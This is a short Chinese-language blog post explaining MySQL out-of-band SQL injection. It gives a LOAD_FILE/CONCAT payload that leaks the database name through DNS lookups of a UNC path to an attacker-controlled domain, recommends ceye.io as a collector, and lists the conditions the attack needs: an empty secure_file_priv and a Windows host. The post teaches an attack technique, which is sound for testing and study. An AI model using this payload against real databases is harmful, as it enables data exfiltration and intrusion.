1. 程式人生 > >mysql 帶外註入

mysql 帶外註入

href 參數 ase 路徑 tps 限制 profile () clas

帶外通道


有時候註入發現並沒有回顯,也不能利用時間盲註,那麽就可以利用帶外通道,也就是利用其他協議或者渠道,如http請求、DNS解析、SMB服務等將數據帶出。

payload


 SELECT LOAD_FILE(CONCAT(\\\\,( SELECT DATABASE() ),.xx.xx\\x));

其中的load_file的地址為一個遠程文件,mysql在load_file()一個遠程文件時會發送dns請求包去解析,所以可以帶出數據,‘\\data.xx.xx\x‘ ,xx.xx為自己的服務器名,沒有的話可以去這裏申請一個 ceye.io

mysql帶外註入條件


1. mysql.ini 中 secure_file_priv 必須為空

( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv = )

mysql 新版本下secure-file-priv字段 : secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出

  • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下

  • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

2. 從payload看出load_file的路徑是windows下的UNC路徑,所以mysql帶外註入只能發生在windows機器上

UNC路徑

測試


技術分享圖片

技術分享圖片

mysql 帶外註入